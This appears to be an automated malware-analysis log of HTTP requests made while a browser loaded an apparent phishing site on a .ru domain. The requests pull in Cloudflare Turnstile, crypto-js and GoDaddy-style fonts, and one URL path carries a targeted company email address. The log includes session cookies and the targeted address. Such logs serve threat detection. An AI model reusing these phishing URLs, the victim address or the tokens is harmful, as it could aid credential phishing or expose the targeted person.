Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://2y.osejonco.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://2y.osejonco.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://2y.osejonco.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://2y.osejonco.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=cg.l.EQbnyiCHqABf4_iI_WmIZ2Pbprob1N3igdr5vQ-1742168254-1.0.1.1-u.ujvKisIFlrv..Sut6CzUu89DMjwKRUiFrarxuZzm1THoqoLv41WTDD0LVZmCyjPqomJw1sU_LshbEDvufWdhVAwR5S0g_m6tBtjXSTwfc
Source: global traffic	HTTP traffic detected: GET /chai!aujobu HTTP/1.1Host: 9k1f.szsnqp.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://2y.osejonco.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://2y.osejonco.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /chai!aujobu HTTP/1.1Host: 9k1f.szsnqp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /r0lfuHO4/$admin.invoices@bluewatersps.com.au HTTP/1.1Host: 2y.osejonco.ruConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://2y.osejonco.ru/r0lfuHO4/$admin.invoices@bluewatersps.com.auAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im1RM1dpN0szN0hWWUQzcGhjaG9YOXc9PSIsInZhbHVlIjoiTWJDNnlsWHZZaC8vc0lRZWVOK3c2SEU0ZVhzdzVRK3l3ZDBwem15MkVZdlBaWU1ycjA1RmVQVi9VdThPamhZZ2t2S0NjZ3I5YTFhY0R1NUttV3k5S3lTNnBNZFNWUXJqTlgwQlpkYWRScmpaSHhMTkRFc3NCK3ZhTzFJT2RDSkIiLCJtYWMiOiJlYjE3NTc0YjMxMTkzOGI2MGVkODY3ZGIyNDgxZDkzZjU4OGY1MWZjNTkyYzI5NmU2YTExMGNlNWViMjdkMjliIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ink4UEJtSWNQaFQ3d24xcHlneC9PaGc9PSIsInZhbHVlIjoiYWthV1ZBYkZsN1J1eGw5US9HTGU2cmtpQ0ZYekVlKzRJNlhCMnZpS3BNRVNUNjFqeitnUzQ5em1Vcms0T1M0bG56V0d3ZmRpeVh4UVhWd296RkQ1WW4xWGZtZkRjNXlrMk5rY3gzYlREbmtUeXZHTHgzdlk4N2gzVHBlM1VWTEUiLCJtYWMiOiIzMzI2MjRiNmYwZTdjMGNjYzEyNDVmYmI3Nzg1M2QyZmE4MmMxZDg0Nzc2Y2RlMzk3OTMyZWY3NzUwNTdlMjQ0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /hko7ycdtxaFw8rtrjRuWyBv2CM6bIs0vVjXYlxq0qb92im HTTP/1.1Host: 2y.osejonco.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im1RM1dpN0szN0hWWUQzcGhjaG9YOXc9PSIsInZhbHVlIjoiTWJDNnlsWHZZaC8vc0lRZWVOK3c2SEU0ZVhzdzVRK3l3ZDBwem15MkVZdlBaWU1ycjA1RmVQVi9VdThPamhZZ2t2S0NjZ3I5YTFhY0R1NUttV3k5S3lTNnBNZFNWUXJqTlgwQlpkYWRScmpaSHhMTkRFc3NCK3ZhTzFJT2RDSkIiLCJtYWMiOiJlYjE3NTc0YjMxMTkzOGI2MGVkODY3ZGIyNDgxZDkzZjU4OGY1MWZjNTkyYzI5NmU2YTExMGNlNWViMjdkMjliIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ink4UEJtSWNQaFQ3d24xcHlneC9PaGc9PSIsInZhbHVlIjoiYWthV1ZBYkZsN1J1eGw5US9HTGU2cmtpQ0ZYekVlKzRJNlhCMnZpS3BNRVNUNjFqeitnUzQ5em1Vcms0T1M0bG56V0d3ZmRpeVh4UVhWd296RkQ1WW4xWGZtZkRjNXlrMk5rY3gzYlREbmtUeXZHTHgzdlk4N2gzVHBlM1VWTEUiLCJtYWMiOiIzMzI2MjRiNmYwZTdjMGNjYzEyNDVmYmI3Nzg1M2QyZmE4MmMxZDg0Nzc2Y2RlMzk3OTMyZWY3NzUwNTdlMjQ0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: 2y.osejonco.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://2y.osejonco.ru/r0lfuHO4/$admin.invoices@bluewatersps.com.auAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Im8yNUo0aGhvY1FwdGpFQ2FicGhDYmc9PSIsInZhbHVlIjoiY0NZT0NDcG1QSTZpNXp5bE1oZDB2elVVQnpKeFE4OEI4LzdiRXdpWFZoUGY3S2U3SEZteHZJWWRHZTYzVENNeXhjS0w1RkdmRWdmRENqWTEvWUJKa0h5MWFCVXZycnRLMDMxQ1NHRXRJYUdrT2ZqUk5NdHF1QUZKYjBneC9jZlUiLCJtYWMiOiI4NzFmNGYyNzM0NDU5N2JiNzdhNDljNmEwMTBkMjFiYWU4YjQ1YmM2ZTIxNzYzZjVkMjA5ZGJjOTU4MjljMjZiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InR5ZUljZ21ZUVJ6Q2Y3dWd2Nld1V2c9PSIsInZhbHVlIjoiZEp4b2MyWFQxbVFyME8weHRqajhYbXFhSnhiUjlMbzNxMklLak4vNDM5dDNYZXhhRlV4Y2NEakQxdkExV3RQNUZHRk1lZEs1MkpOYnIyN0M0bi9YQlIzT3NrSHpINnRvU2p3UWIyc0FPOVlnYkJPSFBGeXR5bXZ3aEp3YVRwc0ciLCJtYWMiOiI1MWJkYTdmNzk5ZjM0MWVmOTkzYWNjZjAzZjgyOWViZGNkN2FjYWJiYzllNGNkMjgyNzRmMzM5YWE2MTRkODUwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /zcPXmirUKpDnF5fS6FWzlptiNfDDIwgyTrsWwWW1MfzVELBijy HTTP/1.1Host: 2y.osejonco.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik9udG9QOXkrdWd3dVZ4UC9yL0MvRHc9PSIsInZhbHVlIjoibXk5RXNHN1JybnUxOWswUTFqaWtMSFFnUm1uWWVMbkYrVlUyb3QwMUNwU2pYUVlHNGM1NFFUc2FnUXdBZzllRHhEcTJDcVp1VTBqd2xrSEwvRnV6RlpXRXgzWGIxQk1SVnJoNFdneE1FMWFaSGJIOXAvek5IRFA3WVhCWkp6Q2EiLCJtYWMiOiI2OGUwNWVhOTEyNDEzMDY0M2ZhMWRkZjllMDA3ZDQ1M2ZhNDU5MzkwMGE3ZjViZTg1OTE1ZmMwNmZiZGFkMzk5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdEbm45ZHZ4cFdVL3dMN1o4N3U2ZkE9PSIsInZhbHVlIjoiRGp3MmZUTlc4dFJQQkovbXltK3FLdzhLSXFKcFFydFBSL0cyV2tZMFFtOGFqWDkzemZ5dkRwRWt4dTU5ZnFRcHhXU3NFeUg1R01qTDJ3czF3bjF5ekt2UWhyVFpJMjg5RWt2cmdXNzBWekVQblA0YjJBVENZZEZlWTBxNjBVYWEiLCJtYWMiOiI3NGI3Y2M3ZmQwMGQ1NzkzNjY5ZmZlMTI3MjRkZWI0MWVmZWZiOTViY2RlNTZlZmE3OGI3ZmQyYTkwZTRiNGMyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJI HTTP/1.1Host: 2y.osejonco.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://2y.osejonco.ru/r0lfuHO4/$admin.invoices@bluewatersps.com.auAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik9udG9QOXkrdWd3dVZ4UC9yL0MvRHc9PSIsInZhbHVlIjoibXk5RXNHN1JybnUxOWswUTFqaWtMSFFnUm1uWWVMbkYrVlUyb3QwMUNwU2pYUVlHNGM1NFFUc2FnUXdBZzllRHhEcTJDcVp1VTBqd2xrSEwvRnV6RlpXRXgzWGIxQk1SVnJoNFdneE1FMWFaSGJIOXAvek5IRFA3WVhCWkp6Q2EiLCJtYWMiOiI2OGUwNWVhOTEyNDEzMDY0M2ZhMWRkZjllMDA3ZDQ1M2ZhNDU5MzkwMGE3ZjViZTg1OTE1ZmMwNmZiZGFkMzk5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdEbm45ZHZ4cFdVL3dMN1o4N3U2ZkE9PSIsInZhbHVlIjoiRGp3MmZUTlc4dFJQQkovbXltK3FLdzhLSXFKcFFydFBSL0cyV2tZMFFtOGFqWDkzemZ5dkRwRWt4dTU5ZnFRcHhXU3NFeUg1R01qTDJ3czF3bjF5ekt2UWhyVFpJMjg5RWt2cmdXNzBWekVQblA0YjJBVENZZEZlWTBxNjBVYWEiLCJtYWMiOiI3NGI3Y2M3ZmQwMGQ1NzkzNjY5ZmZlMTI3MjRkZWI0MWVmZWZiOTViY2RlNTZlZmE3OGI3ZmQyYTkwZTRiNGMyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /347WeLicXabmKi8920 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0giLCJtYWMiOiI0ODkyNDQxMzJmNDA4ZDlhYjZlMGZlZTFkMTVlYTA0ODI3ZDEwMGY0MmM4ZjU3NmZlYWQ2MDgyNmE4OGQ0MTRmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ab0fLnPpqMj9Kef24 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0giLCJtYWMiOiI0ODkyNDQxMzJmNDA4ZDlhYjZlMGZlZTFkMTVlYTA0ODI3ZDEwMGY0MmM4ZjU3NmZlYWQ2MDgyNmE4OGQ0MTRmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff2 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-aliveOrigin: https://2y.osejonco.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0giLCJtYWMiOiI0ODkyNDQxMzJmNDA4ZDlhYjZlMGZlZTFkMTVlYTA0ODI3ZDEwMGY0MmM4ZjU3NmZlYWQ2MDgyNmE4OGQ0MTRmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff HTTP/1.1Host: 2y.osejonco.ruConnection: keep-aliveOrigin: https://2y.osejonco.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0giLCJtYWMiOiI0ODkyNDQxMzJmNDA4ZDlhYjZlMGZlZTFkMTVlYTA0ODI3ZDEwMGY0MmM4ZjU3NmZlYWQ2MDgyNmE4OGQ0MTRmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff2 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-aliveOrigin: https://2y.osejonco.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0giLCJtYWMiOiI0ODkyNDQxMzJmNDA4ZDlhYjZlMGZlZTFkMTVlYTA0ODI3ZDEwMGY0MmM4ZjU3NmZlYWQ2MDgyNmE4OGQ0MTRmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff HTTP/1.1Host: 2y.osejonco.ruConnection: keep-aliveOrigin: https://2y.osejonco.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0giLCJtYWMiOiI0ODkyNDQxMzJmNDA4ZDlhYjZlMGZlZTFkMTVlYTA0ODI3ZDEwMGY0MmM4ZjU3NmZlYWQ2MDgyNmE4OGQ0MTRmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://2y.osejonco.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
